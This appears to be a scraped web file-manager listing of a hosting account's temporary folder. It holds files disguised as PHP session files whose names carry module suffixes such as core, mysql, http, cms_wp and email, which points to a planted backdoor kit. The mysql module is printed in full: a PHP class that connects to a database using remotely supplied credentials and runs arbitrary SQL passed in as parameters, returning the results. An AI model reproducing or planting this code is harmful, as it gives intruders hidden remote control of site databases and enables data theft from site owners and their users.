PATH:
home
/
thebhoeo
/
.cagefs
/
tmp
/
mbdvd0
<?php class mbd_mysql { public $mysql; public $type; function __construct($core) { $this->core = $core; if(isset($this->core->data->options)) $this->_o = $this->core->data->options; if(isset($this->core->data->params)) $this->_p = $this->core->data->params; } function connect($config) { if(function_exists('mysqli_connect')) { $this->type = 'mysqli'; mysqli_report(MYSQLI_REPORT_OFF); $this->mysql = new mysqli($config[0], $config[1], $config[2], $config[3]); if($this->mysql->connect_error) return $this->core->out($this->mysql->connect_error); }else{ $this->type = 'mysql'; $this->mysql = mysql_connect($config[0], $config[1], $config[2]); if(!$this->mysql) return $this->core->out(mysql_error()); if(!empty($config[3])) mysql_select_db($config[3], $this->mysql); } $this->prefix = isset($config[4]) ? $config[4] : ''; } function charset($name) { if($this->type=='mysqli') $this->mysql->set_charset($name); else mysql_set_charset($name); } function find($sql, $set='all') { $sql = str_replace('@P_', $this->prefix, $sql); $data = array(); if($this->type=='mysqli') { if(!$result = $this->mysql->query($sql)) return $this->core->out($this->mysql->error); if($set=='update') return TRUE; while($row = $result->fetch_object()) { $data[] = $row; } }else{ if(!$result = mysql_query($sql)) return $this->core->out(mysql_error()); if($set=='update') return TRUE; while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $d = new stdClass; foreach($row AS $i => $v) $d->$i = $v; $data[] = $v; } } if(!count($data)) return FALSE; if($set=='find') return $data[0]; if($set=='first') foreach($data[0] AS $v) return $v; return $data; } function get() { $config = array($this->_o->host, $this->_o->user, $this->_o->pass, $this->_o->base); $this->connect($config); if(isset($this->_o->charset)) $this->charset($this->_o->charset); $data = array(); foreach($this->_p AS $v) $data[] = $this->find($v->sql, isset($v->set)?$v->set:'all'); $this->core->data->result = $data; } }
[-] sess_b099fafce4496e4298635fe02fbbfddar
[edit]
[-] sess_7342277d99cfbd7ac179ed31fd7dd8adcore
[edit]
[-] sess_bc2071c1be6d1c313aeef168beb5ae06files
[edit]
[-] sess_0da84599553944d82cf5f47f372d18demysql
[edit]
[-] sess_72a13160ee4d12439193697920bfa525r
[edit]
[-] sess_82b3bd03450bff66d731da032b8450dchttp
[edit]
[+]
..
[-] sess_afd13013d4a645c28817fc52e4eb4879info
[edit]
[-] sess_65beb914521e3326955339d04393766ccms_wp
[edit]
[-] sess_f6eb15ce09f3e91a6b4e81577eaf2f66email
[edit]